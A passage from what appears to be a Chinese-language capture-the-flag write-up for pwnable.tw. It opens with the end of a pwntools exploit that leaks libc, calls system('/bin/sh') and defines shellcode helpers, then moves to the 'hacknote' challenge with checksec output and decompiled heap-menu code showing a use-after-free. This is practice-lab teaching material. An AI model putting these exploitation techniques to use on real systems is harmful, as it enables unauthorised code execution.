uul64 = lambda : u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
i32 = lambda data : int(io.recv(data), 16)
i64 = lambda data : int(io.recv(data), 16)
ioi = lambda : io.interactive()

#获取libc函数地址
def libc_func_addr(base,func):
return base+libc.sym['func']
#简单的shellcode+orw
def shell():
return asm(shellcraft.sh())
def orw(flag_file_name,addr,count):
return asm(shellcraft.open(str(flag_file_name)) + shellcraft.read(3,addr,count) + shellcraft.write(1,addr,count))

sl(b"a"*28)
io.recvuntil(b"a"*28)
libc_base = u32(io.recv(4))-0x1b000a
leak("libc_base", libc_base)

bin_sh = libc_base + next(libc.search(b'/bin/sh\x00'))
system = libc_base + libc.sym['system']

sl(b"35")

for i in range(24):
sl("1")

sl(b"+")

for i in range(9):
sl(str(system).encode())
sl(str(bin_sh).encode())
#连接
#--------------------------------------------------------------------------------
ioi()

hacknote

haoo@LAPTOP-QH6DKIQF:/mnt/d/pwnable_tw$ checksec hacknote
[*] '/mnt/d/pwnable_tw/hacknote'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
haoo@LAPTOP-QH6DKIQF:/mnt/d/pwnable_tw$ strings ./hacknote_libc.so.6 | grep ubuntu
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al.
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

一道32位题目,给了libc文件,先patchelf一下,放入ida中进行分析

void __noreturn main()
{
int n2; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 4u);
n2 = atoi(buf);
if ( n2 != 2 )
break;
Delete();
}
if ( n2 > 2 )
{
if ( n2 == 3 )
{
Print();
}
else
{
if ( n2 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( n2 != 1 )
goto LABEL_13;
Add();
}
}
}

一道典型的堆菜单题目,有申请、删除、输出三个功能,看一下delete函数

unsigned int Delete()
{
int n5; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
n5 = atoi(buf);
if ( n5 < 0 || n5 >= ::n5 )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&ptr + n5) )
{
free(*((void **)*(&ptr + n5) + 1));
free(*(&ptr + n5));
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}

只是free了,并没有将指针置空,存在UAF漏洞可以利用,再看一下申请的代码

unsigned int Add()
{
int v0; // ebx
int n4; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
if ( n5 <= 5 )
{
for ( n4 = 0; n4 <= 4; ++n4 )
{
if ( !*(&ptr + n4) )
{
*(&ptr + n4) = malloc(8u);
if ( !*(&ptr + n4) )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)*(&ptr + n4) = puts_w;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v0 = (int)*(&ptr + n4);
*(_DWORD *)(v0 + 4) = malloc(size);
if ( !*((_DWORD *)*(&ptr + n4) + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)*(&ptr + n4) + 1), size);
puts("Success !");
++n5;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}